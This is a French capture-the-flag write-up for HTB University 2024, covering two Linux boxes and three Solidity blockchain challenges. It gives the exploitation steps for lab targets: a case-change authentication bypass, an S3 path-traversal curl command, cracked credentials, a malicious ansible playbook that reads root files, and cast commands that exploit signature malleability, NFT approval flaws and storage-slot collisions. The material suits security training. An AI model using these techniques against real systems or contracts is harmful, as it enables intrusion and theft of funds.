(WIP) HTB University 2024
Voici de petits writeups du ctf universitaire d’HTB 2024.
- 2 boxs
- 4 web3
- 1 pwn
- 1 web
box
Apolo
user
Après connexion au vpn, un rapide scan nmap nous montre 2 ports ouvert, ssh et http

Un curl sur le port http nous invite a mettre un hostname : apolo.htb

Après l’avoir mis dans notre /etc/hosts on peut accéder à la page suivante :

Dans l’onglet sentinel, on trouve un lien vers ai.apolo.htb (que l’on ajoute à notre host file)

Une paire de credentials nous est demandé pour accéder à l’application flowside, une rapide recherche sur internet nous informe d’un possible contournement d’authentification.
La CVE-2024-31621 nous permet (selon cette source car sur mitre c’est une autre faille, bref) de passer outre l’étape d’authentification en changeant la case d’un des caractères de la route API à appeler.
On peut intercepter nos requêtes avec burp et changer la case pour acceder au site.
En se balandant sur celui-ci (tout en changeant la case sur nos appelles API) on tombe finalement sur cette page qui nous donne des credentials :

lewis:C0mpl3xi3Ty!_W1n3
On rejoue les credentials en ssh et on devient un utilisateur regulier, lewis
root
Pour passer root, un simple sudo -l suffit (ainsi qu’une lecture du man)

HTB{llm_ex9l01t_4_RC3}
HTB{cl0n3_rc3_f1l3}
clouded
user
Un scan nmap simple nous donne également un serveur http ainsi qu’un ssh (oui c’est la même capture qu’au dessus)

Ici aussi il faut changer son hostname

Le site en question est un hébergeur de fichiers.

Ces derniers sont hebergés via un s3 sur un autre site, local.clouded.htb.
Sur ce domaine, on peut path traversal pour trouver un autre bucket, clouded-internal.
1$ curl http://local.clouded.htb/uploads/..%252f -s | xq
2[...]
3 <Buckets>
4 <Bucket>
5 <Name>uploads</Name>
6 [...]
7 </Bucket>
8 <Bucket>
9 <Name>clouded-internal</Name>
10 [...]
11 </Bucket>
12[...]
Sur celui-ci on obtient une sauvegarde d’une base de donnée.
1curl http://local.clouded.htb/uploads/..%252fclouded-internal -s | xq
2[...]
3 <Name>clouded-internal</Name>
4 [...]
5 <Contents>
6 <Key>backup.db</Key>
7 [...]
8 </Contents>
9[...]
La base de donnée contient une seul table avec (notament) comme colonnes, un nom de famille et un mot de passe en md5.
Après avoir bruteforce les hash, on tente de rejouer tous les creds en ssh.
Une des combinaison fonctionne, nagato:alicia.
root
En exécutant pspy sur l’instance, on observe l’exécution d’une tâche planifiée qui exécute avec ansible (en root) les playbook dans /opt/infra-setup/
12024/12/16 19:22:01 CMD: UID=0 PID=3133 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/infra-setup/*.yml
22024/12/16 19:22:01 CMD: UID=0 PID=3135 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/infra-setup/checkup.yml
32024/12/16 19:22:01 CMD: UID=0 PID=3136 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/infra-setup/* && /usr/bin/cp /root/checkup.yml /opt/infra-setup/
42024/12/16 19:22:01 CMD: UID=0 PID=3137 | /usr/bin/env python3 /usr/bin/ansible-playbook /opt/infra-setup/checkup.yml
On possède les droits d’écriture sur ce dossier, il nous suffit juste de mettre un playbook qui va copier le flag dans tmp.
- name:
hosts: localhost
gather_facts: false
tasks:
- name: exploit
ansible.builtin.copy:
src: /root/root.txt
dest: /tmp
mode: 0666
Une fois la passe ansible exécuté, on retrouve notre flag dans le tmp
HTB{L@MBD@_5AY5_B@@}
HTB{H@ZY_71ME5_AH3AD}
ps : Merci beaucoup à Alexis sur ce challenge !
web3
CryoPod
Apres inspection du contrat Setup, il apparait impossible de flag ce dernier
1pragma solidity ^0.8.0;
2
3[...]
4
5contract Setup {
6 [...]
7 bytes32 public flagHash = 0x0;
8
9 [...]
10
11 function isSolved(string calldata flag) public view returns (bool) {
12 return keccak256(abi.encodePacked(flag)) == flagHash;
13 }
14}
Trouver un sha256 qui donne 256 bit à 0 est aujourd’hui tout bonnement impossible.
ps : le second contrat deployé par le constructeur ici masqué possède une fonction permettant de sauvegarder pour chaque possesseur d’addresse une string.
1 function storePod(string memory _data) external {
2 pods[msg.sender] = _data;
3 emit PodStored(msg.sender, _data);
4 }
Je sors donc el famoso custom bloc explorer.
Après obtention d’une partie suffisante de la chaine (18 premiers blocs), j’observe la création d’un seul contrat et beaucoup d’appels à ce dernier de la part de 5 addresses.

Dans les transactions j’observe uniquement des sauvegardes de video youtube à la con
Finalement je décide de grep HTB dans la tas et j’obtiens le flag,

HTB{h3ll0_ch41n_sc0ut3r}
ForgottenArtifact
Ici le contrat setup déploie un ForgottenArtifact avec en paramètre 0xdead et 0 en second argument
1pragma solidity ^0.8.18;
2
3import { ForgottenArtifact } from "./ForgottenArtifact.sol";
4
5contract Setup {
6 [...]
7 uint256 public deployTimestamp;
8 ForgottenArtifact public immutable TARGET;
9
10 [...]
11
12 constructor() payable {
13 TARGET = new ForgottenArtifact(uint32(0xdead), address(0));
14 deployTimestamp = block.timestamp;
15 [...]
16 }
17
18 [...]
19}
ForgottenArtifact possède une structure Artifact, il en crée un dans son constructeur qu’il met à un endroit mémoire pseudo-aléatoire, (il genere une graine
pseudo-aléatoirement et met cettre structure à l’addresse de la graine)
1 constructor(uint32 _origin, address _discoverer) {
2 Artifact storage starrySpurr;
3 bytes32 seed = keccak256(abi.encodePacked(block.number, block.timestamp, msg.sender));
4 assembly { starrySpurr.slot := seed }
Ensuite il remplis la structure avec des variables prisent en argument (ici _origin qui vaut 0xdead et _discoverer) ainsi que lastSighting
qui vaut le timestamp du bloc miné.
1 starrySpurr.origin = _origin;
2 starrySpurr.discoverer = _discoverer;
3 lastSighting = block.timestamp;
4 }
Ici notre objectif est que lastSighting soit supérieur à la valeur à laquelle elle a été initialisée dans le constructeur.
Dans Setup
1 function isSolved() public view returns (bool) {
2 return TARGET.lastSighting() > deployTimestamp;
3 }
Pour cela, le contrat ForgottenArtifact possède une fonction discover qui, si appelée, met à jour la variable lastSighting.
Cette fonction prend en argument une graine, elle va créée un second objet qu’elle va assigner à l’addresse de la graine (comme les pointeurs en C).
Si l’origine vaut bien 0xdead, lastSighting est mis à jour.
1 function discover(bytes32 _artifactLocation) public {
2 Artifact storage starrySpurr;
3 assembly { starrySpurr.slot := _artifactLocation }
4 require(starrySpurr.origin == uint256(0xdead), "ForgottenArtifact: unknown artifact location.");
5 starrySpurr.discoverer = msg.sender;
6 lastSighting = block.timestamp;
7 }
Ici il nous faut donc simplement créer de nouveau la même graine que celle qui a été créée dans le constructeur.
1$ block.number = 1
2$ block.timestamp = 1734780976
3$ msg.sender = `0x5FbDB2315678afecb367f032d93F642f64180aa3
4$ keccak256(abi.encodePacked(uint256(1), uint256(1734780976), address(0x5FbDB2315678afecb367f032d93F642f64180aa3)))
5Type: bytes32
6└ Data: 0xe6b6685d7c33a0b4217866702f9c66660510d2ad07f73155d7e8306814f66832
1cast send 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be 'discover(bytes32 _artifactLocation)' 0xe6b6685d7c33a0b4217866702f9c66660510d2ad07f73155d7e8306814f66832
HTB{y0u_c4n7_533_m3}
blockchain_forgottenartifact.zip
FrontierMarketplace
Ce challenge est un erc721 vulnérable, FrontierNFT. Ce dernier est instancié via un autre contrat, FrontierMarketplace
On a par défaut 20 ethers (non présent sur l’extrait ci-dessous), chaque NFT vaut 10 ethers. Avec les frais de transactions on ne peut en acheter qu’un seul.
1contract FrontierMarketplace {
2 uint256 public constant TOKEN_VALUE = 10 ether;
3 FrontierNFT public frontierNFT;
4 [...]
5
6 constructor() {
7 frontierNFT = new FrontierNFT(address(this));
8 }
9
10 function buyNFT() public payable returns (uint256) {
11 require(msg.value == TOKEN_VALUE, "FrontierMarketplace: Incorrect payment amount");
12 uint256 tokenId = frontierNFT.mint(msg.sender);
13 [...]
14 }
15 [...]
FrontierMarketplace permet aussi de revendre ses nft, pour cela il les transfer juste au marketplace (lui-même) et nous envoie 10 ether.
1 function refundNFT(uint256 tokenId) public {
2 [...]
3 frontierNFT.transferFrom(msg.sender, address(this), tokenId);
4 payable(msg.sender).transfer(TOKEN_VALUE);
5 [...]
6 }
Pour valider ce challenge, il suffit d’avoir à un instant T, au moins 1 nft ET 10 ether ou plus.
1 function isSolved() public view returns (bool) {
2 return (
3 address(msg.sender).balance > PLAYER_STARTING_BALANCE - NFT_VALUE &&
4 FrontierNFT(TARGET.frontierNFT()).balanceOf(msg.sender) > 0
5 );
6 }
Ici la vulnérabilité réside dans la fonction transferFrom qui ne désactive pas l’approval du NFT.
(pas d’équivalent de _tokenApprovals[tokenId] = 0 par exemple)
Cette faille, combinée à une fonctionnalitée permettant de donner tous les droits sur nos nft à une addresse (setApprovalForAll), nous permet
d’obtenir le beurre et l’argent du beurre.
1address(setup) = 0x5FbDB2315678afecb367f032d93F642f64180aa3
2address(FrontierMarketplace) = 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be
3address(FrontierNFT) = 0x8ff3801288a85ea261e4277d44e1131ea736f77b
On commence par acheter un NFT au marketplace
1cast send 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be 'buyNFT()' --value '10 ether'
Notre wallet passe donc à 9.9999 ether
On se donne maintenant l’approval sur notre propre nft (il n’est pas remis à 0 apres un transfer), et on autorise le marketplace à interagir avec tous nos nft.
1cast send 0x8ff3801288a85ea261e4277d44e1131ea736f77b 'approve(address to, uint256 tokenId)' 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 1
2cast send 0x8ff3801288a85ea261e4277d44e1131ea736f77b 'setApprovalForAll(address operator, bool approved)' 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be true
On revend ensuite notre nft
1cast send 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be 'refundNFT(uint256 tokenId)' 1
On a donc récupéré nos 10 ether et le marketplace possède maintenant notre nft.
On peut maintenant nous le retransférer (grâce à l’approval précédemment mis en place)
1cast send 0x8ff3801288a85ea261e4277d44e1131ea736f77b 'transferFrom(address from, address to, uint256 tokenId)' 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 1
On a donc 1 nft et, plus de 10 ether, c’est flag.
HTB{g1mme_1t_b4ck}
blockchain_forgottenartifact.zip
Stargazer [unintended]
Explication
Ici la difficulté réside dans la compréhension d’un contrat à proxy ainsi que dans les possibles vulnérabilités resultants d’ecrecover
Plusieurs contrats vont ici entrer en jeu :
- Le
Setup, qui va mettre en place toute l’infrastructure, le kernel ainsi que le proxy. - Un proxy,
Stargazer(implémente l’ERC1967) un contrat dont le rôle est de faire des deletegateCall vers l’implémentation. (et permet aussi de migrer l’implémentation vers une autre addresse) - Une implémentation,
StargazerKernelqui contient le code.
Le contrat Setup va dans un premier temps instancier le proxy ainsi que l’implémentation avec une étoile, “Nova-GLIM_007”
1 constructor(bytes memory signature) payable {
2 TARGET_IMPL = new StargazerKernel();
3
4 string[] memory starNames = new string[](1);
5 starNames[0] = "Nova-GLIM_007";
6 bytes memory initializeCall = abi.encodeCall(TARGET_IMPL.initialize, starNames);
7 TARGET_PROXY = new Stargazer(address(TARGET_IMPL), initializeCall);
8 [...]
ps : la fonction prend en argument une signature valide de la part de l’addresse appelante, celle-ci est le résultat de la signature de :
1➜ keccak256(abi.encodePacked("PASKA: Privileged Authorized StargazerKernel Action", uint256(0)))
2Type: bytes32
3└ Data: 0x5bcd397b85b905c0c9ea31cd6591da186e82691f2949f6ee9368cb4277d8eb69
par l’addresse faisant la transaction à Setup :
1$ cast wallet sign --private-key <pkey> 0x5bcd397b85b905c0c9ea31cd6591da186e82691f2949f6ee9368cb4277d8eb69
20xe68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057b1a2c93fd42e36d81f0b4c021b2d2b94187851becc891be37aea8f483ade5990b1b
La fonction initialize ici appelée ci-dessus prend en argument une liste d’étoile.
Dans un premier temps, elle ajoute à la liste de kernelMaintainers l’addresse aillant instanciée le setup.
Ensuite, pour chaques étoiles passées en argument :
- hash le nom de cette dernière, ici
starId - push dans une liste le timestamp (chaques étoiles possède une liste qui lui est propre)
1 function initialize(string[] memory _pastStarSightings) public initializer onlyProxy {
2 StargazerMemories storage $ = _getStargazerMemory();
3 $.originTimestamp = block.timestamp;
4 $.kernelMaintainers[tx.origin].account = tx.origin;
5 for (uint256 i = 0; i < _pastStarSightings.length; i++) {
6 bytes32 starId = keccak256(abi.encodePacked(_pastStarSightings[i]));
7 $.starSightings[starId].push(block.timestamp);
8 }
9 }
ps : le timestamp n’est pas utilisé ici, seul la taille de la liste compte.
Revenons à la seconde partie du Setup :
Le contrat va créer un “ticket” grâce à la signature donnée en argument.
1 [...]
2 bytes memory createPASKATicketCall = abi.encodeCall(TARGET_IMPL.createPASKATicket, (signature));
3 (bool success, ) = address(TARGET_PROXY).call(createPASKATicketCall);
4 require(success);
5 [...]
La fonction createPASKATicket prend en argument une signature et appelle la fonction _verifyPASKATicket si le ticket est valide (voir plus bas) celui ci est ajouté dans la liste de ticket du compte qui a emit la demande de création.
1 function createPASKATicket(bytes memory _signature) public onlyProxy {
2 StargazerMemories storage $ = _getStargazerMemory();
3 uint256 nonce = $.kernelMaintainers[tx.origin].PASKATicketsNonce;
4 bytes32 hashedRequest = _prefixed(
5 keccak256(abi.encodePacked("PASKA: Privileged Authorized StargazerKernel Action", nonce))
6 );
7 PASKATicket memory newTicket = PASKATicket(hashedRequest, _signature);
8 _verifyPASKATicket(newTicket);
9 $.kernelMaintainers[tx.origin].PASKATickets.push(newTicket);
10 $.kernelMaintainers[tx.origin].PASKATicketsNonce++;
11 emit PASKATicketCreated(newTicket);
12 }
La fonction _verifyPASKATicket va vérifier si le _ticket (le ticket contient la signature émise) provient bien d’un maintainer et que le ticket n’a pas encore été utilisé. (pour voir une étoile par exemple)
1 function _verifyPASKATicket(PASKATicket memory _ticket) internal view onlyProxy {
2 StargazerMemories storage $ = _getStargazerMemory();
3 address signer = _recoverSigner(_ticket.hashedRequest, _ticket.signature);
4 require(_isKernelMaintainer(signer), "StargazerKernel: signer is not a StargazerKernel maintainer.");
5 bytes32 ticketId = keccak256(abi.encode(_ticket));
6 require(!$.usedPASKATickets[ticketId], "StargazerKernel: PASKA ticket already used.");
7 }
Pour vérifier la signature elle utilise la fonction _recoverSigner qui elle même utilise ecrecover en interne.
1 function _recoverSigner(bytes32 _message, bytes memory _signature) internal view onlyProxy returns (address) {
2 require(_signature.length == 65, "StargazerKernel: invalid signature length.");
3 bytes32 r;
4 bytes32 s;
5 uint8 v;
6 assembly ("memory-safe") {
7 r := mload(add(_signature, 0x20))
8 s := mload(add(_signature, 0x40))
9 v := byte(0, mload(add(_signature, 0x60)))
10 }
11 require(v == 27 || v == 28, "StargazerKernel: invalid signature version");
12 address signer = ecrecover(_message, v, r, s);
13 require(signer != address(0), "StargazerKernel: invalid signature.");
14 return signer;
15 }
Cette fonction n’utilise pas de méchanisme de vérification permettant de vérifier si une signature a été altérée.
Pour plus d’explication voir:
- ECDSA (fr.wikipedia.org)
- petit papier à propos de la malléabilité des signatures (github.com)
- openzeppelin ecdsa recover code (github.com)
Pour en finir avec notre fonction Setup, un appel à la fonction commitStarSighting avec en argument “Starry-SPURR_001”, une seconde étoile va être éffectué.
1 string memory starName = "Starry-SPURR_001";
2 bytes memory commitStarSightingCall = abi.encodeCall(TARGET_IMPL.commitStarSighting, (starName));
3 (success, ) = address(TARGET_PROXY).call(commitStarSightingCall);
4 require(success);
5
6 [...]
7 }
Cette fonction va appeler _consumePASKATicket, puis, marquer l’étoile comme vu ($.starSightings[starId].push(sightingTimestamp);)
1 function commitStarSighting(string memory _starName) public onlyProxy {
2 address author = tx.origin;
3 PASKATicket memory starSightingCommitRequest = _consumePASKATicket(author);
4 StargazerMemories storage $ = _getStargazerMemory();
5 bytes32 starId = keccak256(abi.encodePacked(_starName));
6 uint256 sightingTimestamp = block.timestamp;
7 $.starSightings[starId].push(sightingTimestamp);
8 emit StarSightingRecorded(_starName, sightingTimestamp);
9 }
La fonction _consumePASKATicket va simplement vérifier que l’on possède bien un ticket et, pop() celui-ci de notre liste de ticket (ainsi que marquer le ticket
comme utilisé)
1 function _consumePASKATicket(address _kernelMaintainer) internal onlyProxy returns (PASKATicket memory) {
2 StargazerMemories storage $ = _getStargazerMemory();
3 KernelMaintainer storage maintainer = $.kernelMaintainers[_kernelMaintainer];
4 PASKATicket[] storage activePASKATickets = maintainer.PASKATickets;
5 require(activePASKATickets.length > 0, "StargazerKernel: no active PASKA tickets.");
6 PASKATicket memory ticket = activePASKATickets[activePASKATickets.length - 1];
7 bytes32 ticketId = keccak256(abi.encode(ticket));
8 $.usedPASKATickets[ticketId] = true;
9 activePASKATickets.pop();
10 return ticket;
11 }
Il y a ici une seconde faille, lors de la création d’un ticket via createPASKATicket, la fonction _verifyPASKATicket regarde que le ticket n’a pas été utilisé.
Malheuresement, la fonction _consumePASKATicket ne vérifie pas si un ticket à été utilisé,
rien ne nous empeche donc de créer plusieurs tickets et ensuite tous les utiliser d’un seul coup.
ps : un système de nonce est en place pour éviter le rejeu de signature. Ce nonce est unique pour chaque addresses. On doit donc utiliser 2 wallets différents
pour créer 2 tickets.
Exploitation
La seconde faille décrite ci dessus n’est pas voulu, le proxy nous permet de mettre à jour l’implémentation si nous possédons un ticket, la “vrai” solution du challenge était de migrer le contrat vers une autre addresse ou l’implémentation nous aurai permis de modifier à notre bon vouloir les variables du contrat.
1address(Setup) = 0x5FbDB2315678afecb367f032d93F642f64180aa3
2address(Proxy) = 0xb7a5bd0345ef1cc5e66bf61bdec17d2461fbd968
3address(Implem) = 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be
On commence par récuperer la signature envoyé au contrat setup via un cast bl && cast tx <transaction>
1$ cast tx <tx>
2[...]000000000000000041e68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057b1a2c93fd42e36d81f0b4c021b2d2b94187851becc891be37aea8f483ade5990b1b00000000000000000[...]
Le 0x41 correspond ici à la taille de la signature, soit 65, la signature est donc e68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057b1a2c93fd42e36d81f0b4c021b2d2b94187851becc891be37aea8f483ade5990b1b
On modifie ensuite la signature pour la rejouer (voir les liens ci-dessus pour de plus amples explications)
1>>> "e68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057b1a2c93fd42e36d81f0b4c021b2d2b94187851becc891be37aea8f483ade5990b1b"[0x40:0x80]
2'1a2c93fd42e36d81f0b4c021b2d2b94187851becc891be37aea8f483ade5990b'
3>>> hex(0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 - 0x1a2c93fd42e36d81f0b4c021b2d2b94187851becc891be37aea8f483ade5990b)
4'0xe5d36c02bd1c927e0f4b3fde4d2d46bd3329c0f9e6b6e20411296a092250a836'
5>>> # Remplacement de s + modification de v
6>>> "e68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057b1a2c93fd42e36d81f0b4c021b2d2b94187851becc891be37aea8f483ade5990b1b"[:0x40] + "e5d36c02bd1c927e0f4b3fde4d2d46bd3329c0f9e6b6e20411296a092250a836" + '1c'
7'e68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057be5d36c02bd1c927e0f4b3fde4d2d46bd3329c0f9e6b6e20411296a092250a8361c'
On a notre nouvelle signature, on va maintenant utiliser 2 wallets différents pour créer 2 tickets (sur les 2 addresses), puis, visionner les 2 étoiles.
Création d’un second wallet + envoie de quelques ethers (pour commit des transactions).
1$ cast wallet new
2Successfully created new keypair.
3Address: 0xBd5b19CAF250f0711550b2A2c0D61D45f622Cc0D
4Private key: 0xe12bee931ecb67bcadff90262e298ea2e2c69601bb8753af6705a20726936a86
5$ cast send --private-key 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d 0xBd5b19CAF250f0711550b2A2c0D61D45f622Cc0D --value '1 ether'
Création d’un ticket sur nos 2 wallets :
1$ cast send --private-key 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d 0xb7a5bd0345ef1cc5e66bf61bdec17d2461fbd968 'createPASKATicket(bytes memory _signature)' 0xe68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057be5d36c02bd1c927e0f4b3fde4d2d46bd3329c0f9e6b6e20411296a092250a8361c
2$ cast send --private-key 0xe12bee931ecb67bcadff90262e298ea2e2c69601bb8753af6705a20726936a86 0xb7a5bd0345ef1cc5e66bf61bdec17d2461fbd968 'createPASKATicket(bytes memory _signature)' 0xe68e83090a13a66a3aa9b7988202d55881f9bede71ce1d1ae35baf97243a057be5d36c02bd1c927e0f4b3fde4d2d46bd3329c0f9e6b6e20411296a092250a8361c
“Visionnage” des 2 étoiles
1$ cast send --private-key 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d 0xb7a5bd0345ef1cc5e66bf61bdec17d2461fbd968 'commitStarSighting(string memory _starName)' 'Nova-GLIM_007'
2$ cast send --private-key 0xe12bee931ecb67bcadff90262e298ea2e2c69601bb8753af6705a20726936a86 0xb7a5bd0345ef1cc5e66bf61bdec17d2461fbd968 'commitStarSighting(string memory _starName)' 'Starry-SPURR_001'
Les 2 étoiles ont été vues 2 fois, c’est flag !
HTB{stargazer_f1nds_s0l4c3_ag41n}
blockchain_forgottenartifact.zip
pwn
Recruitment
web
Intergalactic Bounty
Merci à tout APT667 pour ces 3 jours super cool !